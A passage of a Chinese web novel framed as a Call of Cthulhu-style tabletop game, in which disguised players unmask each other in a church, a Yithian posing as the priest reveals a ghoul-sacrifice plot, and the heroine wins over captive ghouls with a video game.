她看向的是南风但祝槐抱着胳膊先抢过了话头:“还是一边一个轮流来吧闹那么一出不了解一下未来同伴的身份我实在很担心自己人身安全。”
她这句话于情于理都无可挑剔卡洛琳也就干脆瞥了刀疤一眼后者抬眼依次扫过她和南风这才开口道。
“某个组织的杀手”也许是因为确定了他们并非关系者他并不打算多说“多年前接到了来泉城暗杀一家人的任务结果漏掉了最小的那个现在听说那位也来了来一雪前耻的。”
南风好奇道:“但是为什么要杀他们啊?”
“不知道”刀疤说“你会跟商家说你为什么点外卖吗?”
南风:“???”
草神特么的外卖。
但是仔细想想这个比喻竟然没有哪里不对他张口结舌了半天“那还不就是因为饿了!”
刀疤:“那还不就是因为想杀了。”
祝槐挑了下眉她早就不怀疑如果她把南风卖了他还会帮她数钱了这会儿用胳膊肘捅捅他“现在该你了。”
南风:“……”
呜呜呜他也想体会一把马甲套马甲。
但塞缪尔来都来了他也只好承认道:“就……我们组织是负责研究神话现象的
另两人:“?”
在?为什么只有你有友方npc?
南风无声地用表情回答了这个问题:谢谢kp赏识感谢kp栽培。
kp:……你他妈真的感谢就少帮你旁边那个干点缺德事!
“好吧”卡洛琳道“反正目前来看咱们几个的目的是不冲突的了。”
祝槐眨眼“所以我认为有点合作的余地。”
“
对了,很抱歉这点骗了你们,”她说,“就像刚才说的那样,我们当时也就知道那怪物到底是什么了。”
……这是这点骗没骗的问题吗!是你从头到尾都没几句真话啊喂!
南风心里的吐槽欲望已经爆表了,但他不能说,他只能满脸严肃装深沉地适时附和,就比如现在,“没错。”
“它们是食尸鬼。”他说。
真正道出这事的塞缪尔懒得再掺和他们那些了,他半阖上眼环抱双臂斜靠在石壁上假寐养神,余光瞥着时刻注意这边的动静,防着来个什么突如其来的风云突变。
“你们是说这片土地上栖息着一群叫食尸鬼的怪物,”卡洛琳也领会到了他们的意思,“可能是它们杀了汤尼,修建了这个地下神祠,最后还袭击了乔。”
刀疤:“你可以不加那半句。”
卡洛琳:“事实。”
南风想笑又不敢。
“说不定还不仅是这样,”祝槐说,“记得第一天的晚饭吗?我和阿狄森后来又去了一家,口味差不多,看来不是孤例……而且很有意思的是,里面本地人居多,外地游客就算进来尝个鲜也动不了几叉子。”
刀疤问:“本地人也有问题?”
“食尸鬼有时会和人类通婚。”塞缪尔突然说。
他还保持着刚才的姿势,就这么插进了他们的话题:
“虽然很少见,但的确出现过这种案例。交合诞生出的后代可能会比常人更美丽……也可能更丑陋,不过不管是哪种,如果血统足够,就会随着时间渐渐显现出更多属于食尸鬼的特征,到最后彻底转化。”
“可前提是足够。”祝槐说。
她想起从食尸鬼两兄弟嘴里听说的,它们说自己才诞生,却又表现得封闭而一无所知,也就是这些年基本上应该是没有由人类转化的食尸鬼加入的。
看塞缪尔的神情,他们同时意识到了问题的关键——要是不够会发生什么?
到死都不会变成食尸鬼,喜欢生食?口味也异于常人?
“……真是人杰地灵。”卡洛琳轻声道。
“啊这,”南风结巴了,“别、别告诉我这满城都……”
他飞快地偷偷瞥了祝槐一眼,祝槐知道他的意思,她倒是没放在心上。作为在场唯一真正和本地有点渊源的,尽管还不知道海登家扮演的是怎样的角色,但她的味觉很正常。
“无凭无据的也不能断言什么,”塞缪尔说,“还需要更多的事实来证明。”
“也就是去别的地方走访?”
祝槐道:“但是时间不多了吧?”
“分头行动”刀疤说“当然是这样最省力。”
“我建议交叉分组。”卡洛琳道。
“既然大家两两关系更好”她微笑着说“还是打乱分开吧毕竟这种情况不适合再隐瞒情报了而我想这样就会主动互相分享?”
“那——”南风看看刀疤看看卡洛琳又瞧了瞧祝槐“那我就和乔·瓦特先生一组?我们要去哪既然那么在意又和目标有关系回海登老宅?那里总归该有什么线索吧。”
“我没意见”祝槐笑盈盈道“夫人觉得呢?”
虽然实际上大概率是一起去欣赏她的蜡笔画。
刀疤面皮很明显地抖动了一下但还是默认了他的提议卡洛琳倒反应如常“随你
“就教堂吧”祝槐故作思考停顿了几秒这才抛出了她的答案“这次有信教的夫人在也许神父会更容易开口点?”
“你应该加个‘表面’。”卡洛琳毫不掩饰地说“我在这方面可是很利己的。”
换句话说——什么有用信什么。
“反正只要别在神父面前表现出来就好了。”
祝槐看热闹不嫌事大地歪歪头“走吗?”
出
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发的第一步当然是先回到地面这次塞缪尔当了打头的无论速度还是身手都相当敏捷甚至连防护都没用上。
等他上到最开始的坡边如说好的那样摇晃了下绳子祝槐才将末端在腰上系了两圈握紧绳段一点点往上攀去。
回去的路漫长但也不算太困难只要小心避开那些滑腻的苔藓安全系数还可以。
上方投来的光越来越晃眼祝槐眯了眯已经习惯了黑暗的眼睛抓住了伸来拉她上去的那只手。
“怎么说?”塞缪尔问。
刚才其实没有商量他的去向祝槐也反应过来“反正就按照该有的分队来呗。”
警探瞥着她“嗯”了一声。
“你也专门提到你去过教堂了”她也趁机问“当时和神父说了什么?”
“我刚下来的时候听到了就跟你告诉他们的差不多。”塞缪尔道“但我发现他虽然只是去和你们打了个招呼却一直都在注意那边所以可能真的知道点东西。”
怪不得他那会儿也要往这看。
祝槐了然地点了下头,两个人短暂的交头接耳就也终结于同样重新爬上来的刀疤,再之后是卡洛琳。
南风最后一个上来的时候赖于体质没有气喘吁吁,但也苦着脸揉起了被磨得酸痛的双手,不过还是任劳任怨地去收了这一长段绳子好毁灭证据。
刀疤拔掉了木楔,几人又像模像样地把土给填回去,收拾得算是乍一看瞧不出来了。
司机还远远地靠在面包车驾驶座上抽烟发呆,对客户的所作所为和回来时多了个人的事全当睁一只眼闭一只眼。
他们就在教堂后方,比起来自然是居民区更远,所以用车的机会就让给了另外三个人。
目送着车辆远去,祝槐想想身边人刚才的话,哭笑不得地叹气,“真亏您还能惦记着温泉。”
“看那些连通井底的洞,我可是怀疑这里的水有点问题的。”甚至更早,所以她当时冲洗伤口都选了外地的,尽管这几天吃住用的摆脱不了当地水源,但总比直接接触创面稍微好点,“谁还敢去泡赶在这节庆主打的温泉啊。”
“所以都说过我早看淡了生死,”卡洛琳不以为意,“人生苦短还不如及时行乐,不管之后如何,眼下享受到了就好。”
她们到教堂的路程走得再慢也左不过三五分钟,一切娱乐设施免费开放的狂欢日哪里最热闹自不必提,前两天还有点人流量的教堂今日就完全称得上门庭冷落了。
不如说来拜访的根本只有她们二人。
但建筑的恢弘从不会因为访客稀少而减弱半分,推开大门,临近晌午的光线将画满宗教图案的彩绘玻璃照得透亮,只是不管哪里都不见神父的身影。
既然不在,卡洛琳这次也省了演戏的必要,“难道又来空了?”
“应该会在这边吧……”祝槐思索道,“不然门就锁了。”
“那就暂时在原地等等?”
卡洛琳提议,也率先向前走了两步,就近找了个座位坐下,“折腾了一大早,我是懒得到处跑了,稍微休息一下?”
祝槐:“嗯……”
她看看侧门和另一边的走廊,“那儿标着忏悔室,起居应该也在后头,这么做是有点冒犯,不过也可以去试着敲敲门?”
“夫人等着也没问题,”她说,“万一真的外出了,也正好能赶上神父他回来。”
“好啊,我没意见。”
卡洛琳浅浅打了个呵欠,“麻烦你跑一趟了,不管哪边到时候都用电话联系吧。”
祝槐笑着点了点头。
她没有真的往那边走。
在迈过卡洛琳身边的同时,她若无其事地抬了手,也正是在这不经意间,让一抹凉意贴上了对方的脖颈。
卡洛琳抬眼,瞥见了侧方的那点寒光。
刀锋牢牢贴紧了,只消稍一用力,就可以划破那层薄薄的皮肉,割裂底下正搏动着的动脉血管。
祝槐对上她的视线,毫不掩饰笑意,“那现在轮到我了。”
“乔·瓦特知道那晚的细节,两种可能,一是他真的是本人,第二,就是他身边有谁这么告诉他了。”
她问:“互换身份的游戏好玩吗,‘杰克’?”
()
第26章 亡灵舞(十六)
刀刃所挨之处已经渗出了丝丝血珠。
两个人都能清晰地感觉得到它抵上去的力道,正因为她们都知道,但凡稍微松懈一点,等待她的就是杀手毫不犹豫的反制与暴起。
而祝槐是笑着的,但她的眼神很明确——
她真的会动手。
伤口本该是刺痛的,卡洛琳偏偏扬起了唇角。
“不错的结论。她懒洋洋地感叹,明明是为了扮作孀居而不施粉黛的嘴唇,此刻却仿佛因为神情染上了理应有的一抹艳色,“我开始有点喜欢你了,亲爱的。
“介意跟我说说我们是哪里露了马脚吗?
“你知道我会说不介意。祝槐说,“就像你早就把人选锁定在了我和阿狄森之间,现在又肯定猜到了我是谁,只是没想到我会在这里直接下手。
“的确,我就喜欢隐蔽点的地方。卡洛琳语气轻慢地点评,“我还以为好好市民也是。
“为家人复仇的时候可管不了那么多。
祝槐又加重了点力气,“再说,当然要赶在谎言戳穿之前。
卡洛琳笑笑,“真狠心哪。
“手上沾过血吗?她眨了下眼,“你清楚我问的是什么。
“我保留不回答的权利。祝槐回之以微笑,“我只告诉你,如果我有杀你的必要,我会马上这么做。
“那我认为我们是同一类人,卡洛琳若有所思,“要是换成乔或者阿狄森就不会……不,乔应该还是会动手的,就是得经过一定的犹豫之后了,就像我拜托他的时候那样。
“听上去乔·瓦特先生和他表现出来的性格不太一样。
祝槐不甚关心道:“现在可以聊聊你的上一个问题了,因为‘杰克’的作风和性格都跟你更像。
“以及,真正的‘杰克’不会去现场第三次。
“哪怕第二次很仓促,第一次踩点去装感应器完全足够检查当年的遗留物,再去根本就是浪费时间。在我暗示了时间不够之后也不反驳阿狄森的提议……那我只能认为人最信任的终究还是自己,不然就会怀疑别人是不是有所缺漏,还是得亲自去看一眼才放心。
卡洛琳饶有兴致地问:“难道就只凭这些?
“不,祝槐说,“事实上,一开始的导火索是你的邀约。
“身为同性这个理由明面上似乎合情合理,但在已经
怀疑大家来这里是各有目的的情况下就完全像是托词了。”
“我看不出我们有什么非得一起行动的必要……直到昨天晚上的那一枪。”
“你在事前就知道自己会在当晚尽力伤到回到海登家来的目标,如果是我,你可以趁机察看我身上有没有伤口,就算我找借口拒绝也是另一种意义上的证实了。而如果是阿狄森——”
“我今早从前台那里听说,”她说,“贝克酒店昨晚也停电了,不巧也是电闸出了问题。”
“你去汤尼他们住的汽车旅馆取来了照片,那我可以问问,你在酒店又做了什么吗?”
听着她的话,卡洛琳一怔,怔然随即变成了止不住的笑。这笑起初是无声的,没过几秒就越来越强烈、越来越夸张,进而连由低转高的笑声也带着身体在不住颤抖,根本无谓于正横在脖子上的那把匕首。有些尖锐的声音回荡在空荡教堂内,等她终于笑够了,这才施施然重新投来了视线。
“是,就是你想的那样。”卡洛琳说,“红外摄像头太容易被发现了,所以我在他的房间里装了窃听器。”
“其实还有一点。”
祝槐道:“你一直是这样的打扮,我想你可能本来就准备以这个角度来伪装……决定和乔·瓦特交换身份是跟他合作之后的事吧。”
“所以——你打那个电话的时候,我也顺理成章地看了他的手机。”她说,“虽然没有查看里面的内容,但我看到他的锁屏是和另一个陌生女人的合照,合照上的性格确实和表现得不太一样……这也是我猜测你们两个互换而不是你随便编了个来的原因。”
“精彩。”卡洛琳赞叹道,“我会记得找他算暴露我这笔账的。”
“愿赌服输。”
她不顾架着脖颈的刀刃地向后一靠,任由刀锋划出一道血痕,也只是用单手托住了另一侧的脸颊,笑容美艳不可方物,“我输得心服口服。”
“现在要动手吗?”她问。
祝槐观察着她的表情,“第一次?”
“第二次,”卡洛琳说,“上次是在拉斯维加斯的赌场。”
“但就算是第三次,我的态度也是一样的。之前说的是真的,生死在我来看没什么大不了的——不过甜心,我毫不怀疑你的疯狂程度在我之上。”
“我就当作夸奖收下了,”祝槐道,“不过,再说下去,我怀疑我可真忍不住会动手。”
卡洛琳讶异地挑眉,“你不吗?”
“——我说了是有必
要。”
祝槐稍稍提高了声音:“至于现在神父打算旁观到什么时候?”
卡洛琳同样稍微一愣。
不是说她的感官能力差到哪里去毕竟对方站得实在太远
“也许你们可以对观测者怀有更多的宽容”他平静地说“我的确有些好奇你们会做到哪一步。”
祝槐也扬了扬眉歪头打量他“这话对一位神父来说可有失身份了点。”
“前提是我真的是约拿神父。”
神父的语气不改:“既然你们已经有所猜测了我觉得也没有再隐瞒的必要。”
卡洛琳:“……”
等等她没跟上趟。
“怎么回事?!”她低声问。
……问她她问谁啊!
“我也不知道”祝槐说“就只是觉得他有问题!然后我在听塞缪尔说他跟神父谈过的时候我怀疑神父可能是那个第三方!”
她也是罕见地有点迷茫这边两个人完全陷入了对脸懵逼的境地卡洛琳重复“第三方?什么第三方?……你是说那个送信的?”
“所以你果然也是接到消息才来的?”祝槐问“他给我的感觉有点违和……”
当然她以现在的身份不能说是为什么违和只好含糊地用直觉带过去“也就那么一点感觉但应该没有敌意所以我决定先试试——”
卡洛琳的重点放在了别的地方“所以你其实没有杀了我的打算了?”
“你刚才反抗的话我是会直接动手的。”祝槐不客气地说“不过你现在真的要问这个?”
“约拿神父”还站在不远处对她们两个咬耳朵的行为表示了不满“我以为在人类的行为准则里三个人同时在场只有两个人私下交谈是很不礼貌的行为。”
祝槐:“……”
卡洛琳:“……”
这人怎么喜欢看热闹参与感还这么强。
等一下。
卡洛琳皱眉“人类?”
“这个话题不适合在这里说了。”约拿神父宣布。
“把刀放下吧”他说“既然已经到了这一步她要是还准备杀你我会帮忙的。”
卡洛琳:“?”
“这还带拉偏
架的。”她嘀咕。
“其实我觉得如果现在我对你动手也一样——”祝槐说“走吧。”
偌大的尖“做这种事也太诡异了。”
“那就从源头开始吧。”
神父说:“我来自遥远的未来。”
祝槐:“……未来?”
时空旅行?未来是多远的未来人类毁灭之后吗?
“未来并不完全准确”他道“我们是远古种族的一种只是在灭亡之际将精神转移至了未来的某种生物上。”
“我们一族——伟大种族完成了征服时间的壮举我们的精神可以穿梭不同的时间流依附于其他种族的肉
体之上。”
……所以这就是你们自称伟大的理由吗!
不过以这成就而言也的确没多大毛病祝槐挑眉“那敢问阁下的种族怎么称呼?”
“伊斯。”神父说。
“在那之后我们也会将自己的精神投入时间长河”他道“在能挑选的最高级生命形式里选择某个目标
“我们利用这具身体活动伪装成对方的身份尽可能多地学习并掌握那个时代的一切知识。而那个被取而代之的精神则会被送到我们的身体之中在我们的时代生活一段时间直到反转开始两边的精神都会各自返回原本的肉
体。”
“一般是三五年。”伊斯人补充。
祝槐:“……”
互相盗号以示友好?
“所以”卡洛琳说“‘约拿神父’就是这次的目标。”
“我在来到这里以后发现了他们打算做的事。”
伊斯人说:“这间教堂里存放着一定的资料这座城镇本身也是一个不错的观察样本所以我并不希望那些东西就这么消失。”
“我们只会插手自己想插手的事或者能收获更多的事。”他用一种事不关己的语气说“这次就是其中之一所以我选择给‘十二杰克’也送去了信但同时我觉得这件事如何发展都取决于你们。”
祝槐:“看来‘十二杰克’才是后被选择的那个?”
“关于这一点”伊斯人道“就到等等再说吧你们不是还有同伴吗?”
他的意思再昭然不过——等所有人都到了这里再行打算。
二十分钟后。
终于坦诚相见的一干人等在人多起来就显得狭小的待客室内相对无言地陷入了沉默。
被急匆匆叫来的另外三个人还没有来得及进行到这一步——尤其是刀疤,突如其来就被她们这边掀了马甲。他听说这件事时的表情可谓是精彩至极,只可惜转眼就恢复了那冷漠寡言的沉闷状,完全来不及拍照留念。
半晌。
南风开了口。
“……你们那么多马甲,他悲愤道,“就不能分我一个吗!
有张冠李戴的,有互相套娃的,给他一个玩玩又能怎么样呢?!
他被孤立了!!!
卡洛琳:“原来你关注的是那边?
塞缪尔的神情更明显——这届新人又开始犯傻了。
“你可以去跟杰弗里借一个,祝槐好心地建议,“我想他不会介意的。
南风:“是哦。
“……不对重点不是这个!他反应过来,“结果就只有我在被耍得团团转吗——你,洛佩兹,你是不是也猜到了?
“是啊。说话的是祝槐,“刚从神祠底下上来的时候,他还问我需不需要一起行动,怕我一个人制服不了‘杰克’吧?
南风:“………………
搞了半天傻子真的只有他自己呜呜呜呜。
“被看穿还以为瞒得很好的我们两个好到哪里去。卡洛琳促狭地瞥了刀疤一眼,后者不置可否地冷哼出声,“行了,你也别装了。
“实际上,塞缪尔说,“那时候我还以为邪
教徒是编出来的借口。
祝槐了然,毕竟看到了合照的就只有她,她也没有告诉其他人。
南风也正色起来,哪怕暂时搁置海登家和“十二杰克的仇恨,另一个显而易见的矛盾还摆在他们面前——他们以对抗神话现象为己任,还拿到了有死者复生术的魔法书,但现在真的有个亡命徒。
“认真的?塞缪尔问。
“不管在什么地方,他说,“复活死者都是绝对的禁忌。
“死了就是死了,终究不过是活人安慰自己的把戏。也许可以侥幸搜集到进行仪式所需要的办法和材料,但所谓‘复活’出来的最可能是四不像的怪物肉身,根本不会是你寄托感情的那个人。
“退一步,就算真能召唤灵魂,也不知道召回的究竟是谁的灵魂。
你听上去很有经验嘛。
祝槐腹诽道,但下一秒,她看着卡洛琳欲言又止的神情变化,突然察觉到了事
情的不妙。
果然——
“听你几句话,刀疤肃然,“胜读十年书。
塞缪尔:“……
塞缪尔:“?????
其他人:“……
你就算想借坡下驴也别一个跟头十万八千里吧!!
“说得太好了,如今的年轻人实在了不得。他连连鼓掌,“其实我自己也一直在犹豫——我这样做好吗?玛丽娜她真的希望我这么做吗?我现在想明白了,别的都是虚的,活下去记住他们才是对死者最好的慰藉。
祝槐张了张嘴,又闭上了——你憋很久了是吧?
南风开始怀疑人生,他之前到底为什么那么怕来着?
“……
塞缪尔眼神诡异,祝槐还是第一次见他露出这种表情,“你这就放弃了?
“你就这么点决心,他质问道,“别人说几句就动摇了?
南风“哎了声,“等等,这不也挺好的,洛佩兹你生什么气啊?
“谁生气了?塞缪尔说,“我没生气。
“不仅是这样,刀疤继续找补,不得不说他大概早就给自己准备好了妥协的借口,“其实我和她还有一个孩子……
“过去是我太忽略她的感受了,他苦笑,“要真让玛丽娜知道也会被她骂的吧。
他这次的的理由似乎有了足够的说服力,塞缪尔重新坐回去,神情虽然还有些烦躁,态度却不再像刚才那般咄咄逼人了。
刀疤:“更何况我们应该坚守马克——
卡洛琳见状不妙,直接抬手捂住了他的嘴巴。
在场的其余三名玩家都完全看得出几乎写在她脸上的那句话:可以了,再说就崩人设了。
祝槐:“……
已经崩得差不多了吧?!
“我好奇很久了,她问,“乔·瓦特先生以前是军人吗?
刀疤的动作停顿了一下,目光落在她身上。
卡洛琳收回手打了个哈欠,他反问:“不,为什么会这么想?
“诶,猜错了吗?祝槐也不深究,笑眯眯道,“没怎么,就是看到你下意识的反应和行为做派感觉有点像。
“结果你是这种性格吗?
南风心有余悸,“早说啊,之前还吓得我……
刀疤大多数时候还是言简意赅的:“方便。
生人勿进的气场的确会少很多事。
“完全不显山露水当然比暴露个彻底强一点。知道了神父的真实身份,卡洛琳还是端起自己面前的那杯水抿了几口,“现在想想,可以断定海登家的那个孩子是你而不是阿狄森其实还有一个原因,他绝对会忍不住第一句就出声。
祝槐;“确实。
南风:“啊?
“她当时为了激我,好听听是谁。祝槐简单复述了一下,“大概是这样吧。
“别小瞧人好不好!南风愤怒道,“我还是能忍到第三句的!
塞缪尔:“少丢两句人。
不然连他们组织都要被怀疑有问题。
南风:“……
呜呜呜呜呜。
“不过要我这边说是一样的。祝槐道,“斯图尔特夫人既然说自己看淡了生死,又哪像是非要去复活已死之人的态度。哪怕最开始为了作秀,后来那么声称的时候也
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不见如何,漏洞有点大。
虽然刀疤现在表现出来的也不像。
“没办法,毕竟要以我本人来说,
南风:“………………
行了,他觉得不能再问下去了。
“我假设你们已经解决完了遗留问题,直到这时,本该作为这场会谈中心任务的约拿神父才不紧不慢地敲门登场,“可以继续刚才的话题了。
祝槐开始思考——本质上现在这位就是套着个神父马甲的伊斯人,大家聚在一起,应该也不失为一种马甲大会?
“‘世界树’有过类似的资料。
塞缪尔说:“有人声称他们的亲朋好友在某一个时间段突然性格大变,后来又莫名其妙恢复了原本的人格,并且想不起来自己都做了些什么,完全丢失了这几年的记忆。
不过,以他正警惕打量着对方的神情而言,他显然也是第一次真正碰到这种情况。
“为了避免个体和社会可能会有的混乱,神父说,“他们在我们那里期间度过的记忆都会被抹去。
“请随我过来吧,我有东西要给你们看。
几人对视一眼,陆续起身跟他向外走去,教堂内的空间不大,没几步就停了下来。神父推开门的那个房间很狭小,打扫得也干净,就是除了光线昏暗外也弥散着一股淡淡的泥土味和臭味。
神父侧过身,他们就看到了这气味的源头——一口棺材正平放在地面中央,看那上面的泥土痕迹显然是埋下去后被
重新挖出的,周围还散落着带出来的土粒。
“平时不会有人进来,我就放在了这里。”
神父解释,“我附身约拿之后,看到他保存的那些手记和日记觉得不对劲,就从墓地起出了一具棺材……直接给你们看这个应该更有说服力。”
他推开了棺盖。
平躺在棺内的尸体已经彻底白骨化了,还如下葬时一样双手交叠在身前,但完全足以看出这具骸骨与寻常人类的不同之处。
卡洛琳托着手肘,另一手的食指点点下唇,视线打量起盆骨,“看来是位男性?”
只是“他”的身材比寻常男性矮了不止一个头,头骨面部也更为扭曲,两只眼窝黑漆漆凹陷下去的位置并非对齐而是上下错了位,每一颗牙齿都如犬齿般尖利,指骨也无一例外地长了一截。
“你们应该已经猜到了,泉城大多数居民祖上都流有食尸鬼的血脉。”
“看出生和死亡年份,这是最初的一代。而且你们可能也知道,当地勾结食尸鬼举办亡灵节的目的,是想借此献祭召唤食尸鬼之王——莫尔迪基安。”
神父说:“我联系‘十二杰克’,是为了除去海登家献上的祭品。”
祭品。
祝槐眼皮跳了跳,但除此之外,她没有什么特别的反应。
能分给她的秘密果然是这种玩意儿。
反倒是南风更不可置信,他有点错乱,“等等等等,可她不是灭门案才留下来的——”
“乔不清楚,我也不知道原因。”卡洛琳道,“不过可以肯定的是,二十年前是首领直接下达的命令,虽然发现漏了一个,但组织不打算管,是我自己如今才来一雪前耻的。”
“也许是因为当时的总部就在泉城附近,现在早搬家了。不光是我,利己主义是我们从上到下的统一信条。”
“召唤莫尔迪基安的计划最初从二十年前就该开始实施了。”神父说,“如果那时候身为守墓人的海登家没有一夜之间满门皆灭。”
“那时候的守墓人还是负责和食尸鬼联系的纽带,主事人意外死亡,留下的资料又少得可怜,才断断续续拖到了现在……因为不清楚犯案凶手,唯一活下来的祭品也为保平安被送出了城外,由不知情的远亲收养,等到仪式前才以这样的方式诓骗回来。”
看热闹不嫌事大的伊斯人补充:“只不过我真的在调查之后多送了一封信。”
【骤然获知自己的身世真相——】
kp不怀好意地
嘿嘿嘿冒出来。
【进行意志检定,成功减一,失败随机下降一到六点san值。】
[阿维丝(祝槐)]的意志检定,50/50,成功。
kp:“……”
这女人到底怎么回事啊!!!
南风忍不住问:“如果她不回来呢?”
“那就绑架她的养父母,用情感来拿捏人是最好使的。”回答这问题的却是祝槐,“同时也避免了她察觉到这座城镇不对劲想逃离的可能性——对吗?”
伊斯人默认了她的说法。
“我只是中途借用了这具身体,更多更久远的事都不可考。”他说,“就知道这些了。”
“我有必要补充一点。”
塞缪尔突然开口道:“汇报之后,我今早从‘树’那边收到了莫尔迪基安的记录材料——不多,但对于这位藏骸所之神,将死者复生和盗窃尸体都是最大的亵渎和不敬。”
刀疤:“……”
伊斯人:“……”
神父满脸写着“哦这样啊我听不懂”。
“翻译一下,”祝槐说,“只要我埋回去得够快,惹事的就不是我。”
神父:“对对——不是!我没有惹事。”
“不论如何,现在大家的利益都是一致的了。”
警探说:“不过,以目前的行事风格,它们是打算将亡灵节的所有游客和不知情的市民们用来献祭。既然如此,还需要当年的祭品吗?”
“据我看的那些手记,它们似乎认为这是两码事。”神父道,“分成了召唤莫尔迪基安要用的祭品,和召唤之后献给祂的祭品。”
南风嘀咕:“鬼心不足蛇吞象。”
“如果今晚正常回到酒店,它们应该就会带走‘祭品’。”
神父说:“最好的办法是提前逃离这座城市,不过我想,它们不会轻易放弃的。”
“你是想说更一劳永逸的办法是自杀,”祝槐说,“祭品死了,当然想召唤也做不到了。”
神父:“这是你自己说的。”
“有这一个祭品就会有下一个,早晚而已。”
她道:“我有个问题,你知道食尸鬼们的巢穴在哪里吗?”
“当然不知道。”伊斯人诧异地看她一眼,“神父的手记只记录了该如何联系它们。”
“行,”祝槐说,“那就够了。”
卡洛琳:“难不成,你是想——”
塞缪尔的神情也似乎猜测到了什么,只是没有开口。
“对。”祝槐笑盈盈地肯定了她的疑惑。
“既然这样的话……”
眼皮很沉重。
药效应该还没有完全褪去,睁开眼后的视野仍然有些模糊,一切在摇晃中定格,终于渐趋清晰,呈现出凹凸不平的山洞。
“可是我学过食尸鬼联络术!”祝槐据理力争,“它应该很惊讶!”
【它太困了!你看它像是有兴趣聊天的样子吗?!】
“我也无聊,它也无聊,大家聊聊不就有聊了?”
kp:“………………”
啊!!!!!
【就一句!】
kp咬牙切齿地说。
【只有一句!它只有听你说一句话的兴趣!】
他就不信她还能折腾出什么幺蛾子!
祝槐“哦”了声,念动咒语。
“朋友——”
她坐起身来,从包里摸出游戏机,面向听见动静而投来视线的食尸鬼守卫,友好地问:“你听说过电子游戏吗?”
()
第27章 亡灵舞(十七)
海拉鲁的英雄挥舞起了他的兽神大剑。
三分钟后。
食尸鬼守卫开始坐在那儿时不时地往这边瞥一眼。
kp:“……”
五分钟后。
它搬来了它的小板凳。
kp:“…………”
十五分钟后。
小食尸鬼开始扒着栏杆,使劲往前凑,“嗷嗷嗷”地恨不能再挨近半分。
它实在很好奇那块小屏幕里花里胡哨的东西,祝槐也表现出了十二分的友好,背靠着栏杆还有意把游戏机偏了往右放,避免挡住了屏幕屏幕。
可隔着几根栏杆终究是隔着,这世上最遥远的距离不是生与死,而是他妈的游戏就在我面前我却看不见。
它沮丧地捶了两把围栏,祝槐见机马上道:“要不你把门打开?”
“你看,反正我也不会跑。”她说,“这牢里太挤了塞不下两个,你看着我,咱俩就在这玩就行。”
“再说了。”
祝槐道:“我跑能跑到哪儿去啊。”
食尸鬼一想是这么个理。
它爽快地解下了挂在腰上的钥匙串,哗哗几下打开了锁头,长矛也不要了丢在一边,又屁颠屁颠地把自己的小板凳搬到牢门旁,聚精会神地继续看了起来。
也许是因为过于专心致志,它连门外的动静都没注意,一心盯着屏幕。祝槐瞥它一眼,毫不犹豫地决定不提醒,只当自己也没听见,任由那拖拉着的脚步声靠近了。
“喂,长老叫你……”另一只抱着个箱子的食尸鬼叽叽歪歪地探进个脑袋,“……你在做什么?!”
食尸鬼守卫:“……!!!”
“告诉你一个小秘密。”祝槐见它一脸被抓包的心虚,停下动作,用手挡着小声对它说,“摸鱼的奥义就是拉别人一起下水。”
kp:“?????”
你在教什么乱七八糟的东西?!
“只要大家都在摸。”
她信誓旦旦地说:“摸鱼的就不是我!只要大家都不卷,那就卷无可卷!”
于是小守卫深以为然,对她的暗示心领神会地果断转头,招呼同伴道:“你来看这是个什么咯!”
那只食尸鬼将信将疑地放下手里的箱子,一脸不屑地蹲在了他俩旁边,过了没两分钟,它也溜出去给自己搬了张小板凳进来。
游戏瘾或出现鬼传鬼现象。
——半小时之后。
祝槐清完最后一只守护者,转头冲着身后乌央乌央挤满了整个牢室的十几只食尸鬼,诚恳地问:“要不然咱们换个大点的地方?”
转换阵地都用不着她动手,正上头的食尸鬼们热火朝天地把隔壁——看样子像是平时聚众吃饭的“食堂”给收拾了出来,新鲜的不新鲜的骨头全堆在小推车上扔了出去,祝槐几乎是被前呼后拥着往那边走过去。
她已经听了十几句“长老叫你”,现在就是很好奇长老到底找没找到人手办事。
但显然这些传话的食尸鬼都把这事给抛在了脑后,她一清点发现居然还多了十来只跑来看热闹的。
这下可不太行。
“我估计你们后面的都看不到了,”祝槐一本正经道,“现在应该还是白天?你们出得去外面吗?”
“出得去咯,怎么就出不去?”
有心直口快地直接把自己卖了,“只要变成人类的样子不就好咯,有哪里难的!”
哦——果然是这样。
“行。”
祝槐马上说:“那这个光荣而艰巨的任务就交给你了,城里应该是有电器店的吧,纸笔伺候。”
她寥寥几笔把外接屏和接线的样子给画了出来,指示着那个食尸鬼去当跑腿——以食尸鬼的作风应该是大白天的不好正大光明去抢,但神奇的是它们可能是几十上百年来捡大街上掉的零钞和墓里的东西多了,居然攒下不少积蓄,二十来个人头凑吧凑吧还能有好些剩。
所谓科技改变生活,大约就是这最近才热推起旅游业的小城里还真有配件。小跑腿带着东西回来的时候,整个通道里响起了震耳欲聋的欢呼声。
“吵吵吵,吵什么吵!”这声音直接惊动了等半天也等不到“人”来的食尸鬼长老,它披着一身破布长袍背着爪,狗脸上神情不虞地走过来,“让拿个东西半天拿不过来,就知道在这瞎吵吵!”
它一探脑袋,正好对上刚给游戏机连上插头的祝槐闻声投来的视线。
食尸鬼长老:“……???”
祭品怎么跑出来的?!
祝槐不慌不忙地打了个招呼,“长老好呀。”
一听就知道是谁系列。
“噢噢你好——”长老下意识应道,紧接着才反应过来不对,“你们在搞什么鬼幺蛾子咯!正经事放着不做,跑来这里瞎搞!”
它的严厉斥责换来满座食尸
鬼一片寂静几秒之后才有一只弱弱地出声:“……可是它有点好玩哎。”
祝槐心说这真是熟悉的一幕。
食尸鬼长老这时候才注意到它们围着的是块半大不大的屏幕上头还有个小人一直在往前跑——这啥玩意儿?
“……都给我看住了!”
它想想自己还有事要做也不好待在这折腾气急败坏地命令道:“但凡给跑了到时候你们一个都逃不了!”
食尸鬼们:“诶好好好好。”
长老这才冷哼了声瞧这群兔崽子不成器的样子这就准备去叫外头的加强守备刚一转过身屏幕上的老流氓一个大旋风刀法转过去树林里的木材连带着树上苹果落了满地收获了个盆满钵满。
食尸鬼们:“嗷!”
长老的脚步一顿。
祝槐操控着把八爪怪气球系在了炸
弹上瞄准不远处的猪人部落一个芭蕉叶猛地一扇猪窝连同上头正毫不知情地叽里咕噜的猪人们烧成了一片火光。
然而在那之前老流氓已经转过了身迈着六亲不认的嚣张步伐离开了作案现场。
真英雄从不回头看爆炸!
食尸鬼们:“嗷!!”
坐在最后头的食尸鬼感觉到旁边多坐了一个抬头就看见是去而复返的长老
到处瞎逛中偶遇一匹倒霉的人马祝槐毫不犹豫地一箭爆头趁着他倒地的时候就猛抬视角扔了几个飞镖。人马刚一起身顿时又被飞回来的回旋镖砸中了脑壳。
主角掏出相机背对着被镖得满地乱爬的人马摆了一个骚气的pose。
